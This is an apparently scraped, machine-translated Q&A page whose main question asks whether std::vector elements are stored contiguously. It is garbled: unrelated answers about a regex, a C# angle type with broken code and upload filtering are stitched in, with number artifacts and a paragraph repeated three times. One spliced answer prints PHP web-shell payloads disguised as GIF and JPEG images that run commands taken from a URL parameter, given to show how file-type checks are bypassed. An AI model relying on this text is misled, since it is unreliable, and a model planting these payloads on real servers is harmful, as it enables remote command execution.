Станд.:: векторные элементы гарантировали, что были непрерывны?

[?!up\/]? является классом символов, который соответствует ? или !, u, p или /, 1 или 0 раз (из-за квантификатора ? после ] , это делает этот шаблон необязательным).

Вы можете использовать регулярное выражение, основанное на взгляде, например

r'(?i)\b(?

См. Демонстрацию regex

Подробности

    [ 1121] (?i) - флаг без учета регистра
  • \b - граница слова (чтобы избежать совпадения down в touchdown)
  • (? - без целого слова up допускается непосредственно слева от текущего местоположения
  • down - down последовательность символов
  • \b - граница слова, непосредственно справа, не может быть слова char (буква, цифра или _, а также некоторые другие, поскольку флаг re.U включен по умолчанию в Python 3, но они не так важны).
  • [Тысяча сто тридцать одна]

104
задан Rob Kennedy 24 February 2010 в 22:15
поделиться

6 ответов

Это было упущено из собственно стандарта C ++ 98, но позже добавлено как часть TR. Предстоящий стандарт C ++ 0x, конечно, будет содержать это как требование.

Из n2798 (черновик C ++ 0x):

23.2.6 Вектор шаблона класса [вектор]

1 Вектор - это контейнер последовательности, поддерживающий итераторы произвольного доступа. Кроме того, поддерживает (амортизируется) постоянное время операции вставки и стирания в конце; вставка и стирание в середине занимают линейное время. Место хранения управление осуществляется автоматически, хотя могут быть даны подсказки для повышения эффективности. Элементы вектора хранятся непрерывно, что означает, что если v - вектор, где T - какой-то тип, другой чем bool, то он подчиняется тождеству & v [n] == & v [0] + n для всех 0 <= n

109
ответ дан 24 November 2019 в 04:11
поделиться

As other answers have pointed out, the contents of a vector is guaranteed to be continuous (excepting bool's weirdness).

The comment that I wanted to add, is that if you do an insertion or a deletion on the vector, which could cause the vector to reallocate it's memory, then you will cause all of your saved pointers and iterators to be invalidated.

19
ответ дан 24 November 2019 в 04:11
поделиться

Да, элементы std :: vector гарантированно будут смежными.

2
ответ дан 24 November 2019 в 04:11
поделиться

Стандарт действительно гарантирует, что вектор непрерывен в памяти и что & a [0] могут быть переданы в C функция, которая ожидает массив.

Исключением из этого правила является vector , которая использует только один бит на bool , поэтому, хотя у нее есть непрерывная память, она может 'не должно использоваться как bool * (это широко считается ложной оптимизацией и ошибкой).

Кстати, почему вы не используете итераторы? Вот для чего они нужны.

8
ответ дан 24 November 2019 в 04:11
поделиться

cplusplus.com:

Vector containers are implemented as dynamic arrays; Just as regular arrays, vector containers have their elements stored in contiguous storage locations, which means that their elements can be accessed not only using iterators but also using offsets on regular pointers to elements.

1
ответ дан 24 November 2019 в 04:11
поделиться

Похоже, вам нужен угловой тип.

// Non mutable Angle class with a normalized, integer angle-value
public struct Angle
{
  public Angle(int value)
  {
    Value = value;
  } 

  private angle;
  public Value 
  { 
    get { return angle; } 
    private set { angle = Normalize(value); } 
  }

  public static int Normalize(int value)
  {
     if (value < 0) return 360 - (value % 360);
     return value % 360;
  }
}

public class SomeClass
{
  public Angle EyeOrientation { get; set; }
}

Если у вас есть определенный тип значения, например, углы, деньги, вес или что-то еще, всегда полезно сделать его собственным типом, даже если само значение хранится в виде int, decimal и т. Д. делает ваши интерфейсы более понятными и безопасными. Это не то же самое, если вы ожидаете Угол или целое число в качестве аргумента некоторого метода.

Команда file читает файл в вашей системе Linux, / usr / share / file / magic , который содержит подписи файлов. Например, изображение GIF начинается с текста GIF8 или файл JPEG начинается с байтов 0xffd8 . Вам просто нужно иметь эти подписи в загружаемом файле, чтобы обмануть команду file . Эти два файла будут приняты как изображения, даже если они будут работать как php-код:

eval_gif.php:

GIF8<?php eval($_GET["command"]);?>

eval_jpg.php (hexdump):

ff d8 3c 3f 70 68 70 20  65 76 61 6c 28 24 5f 47  |..<?php eval($_G|    
45 54 5b 22 63 6f 6d 6d  61 6e 64 22 5d 29 3b 3f  |ET["command"]);?|    
3e 0a 0a                                          |>..|

Это наиболее распространенные ошибки при фильтрации:

  • Не фильтровать вообще.
  • Фильтр, основанный на неправильных регулярных выражениях, легко обходится.
  • Не использование функций is_uploaded_file и move_uploaded_file может привести к уязвимостям LFI. Указатели в этом массиве следует рассматривать как недопустимые, если любая неконстантная функция-член называется IIRC.

    Однако есть исключение !!

    vector имеет специальную реализацию, предназначенную для экономии места, так что каждый bool использует только один бит. Базовый массив не является непрерывным массивом логических значений, и арифметические операции с массивами на vector работают не так, как vector .

    (я полагаю, что это также возможно что это может быть верно для любой специализации вектора, поскольку мы всегда можем реализовать новую. Однако std :: vector - единственная, ошибочная, стандартная специализация, в которой простая арифметика с указателями победила » т работать.)

    есть исключение !!

    vector имеет специальную реализацию, предназначенную для экономии места, так что каждый bool использует только один бит. Базовый массив не является непрерывным массивом логических значений, и арифметические операции с массивами на vector работают не так, как vector .

    (я полагаю, что это также возможно что это может быть верно для любой специализации вектора, поскольку мы всегда можем реализовать новую. Однако std :: vector - единственная, ошибочная, стандартная специализация, в которой простая арифметика с указателями победила » т работать.)

    есть исключение !!

    vector имеет специальную реализацию, предназначенную для экономии места, так что каждый bool использует только один бит. Базовый массив не является непрерывным массивом логических значений, и арифметические операции с массивами на vector работают не так, как vector .

    (я полагаю, что это также возможно что это может быть верно для любой специализации вектора, поскольку мы всегда можем реализовать новую. Однако std :: vector - единственная, ошибочная, стандартная специализация, в которой простая арифметика с указателями победила » т работать.)

6
ответ дан 24 November 2019 в 04:11
поделиться
Другие вопросы по тегам:

Похожие вопросы: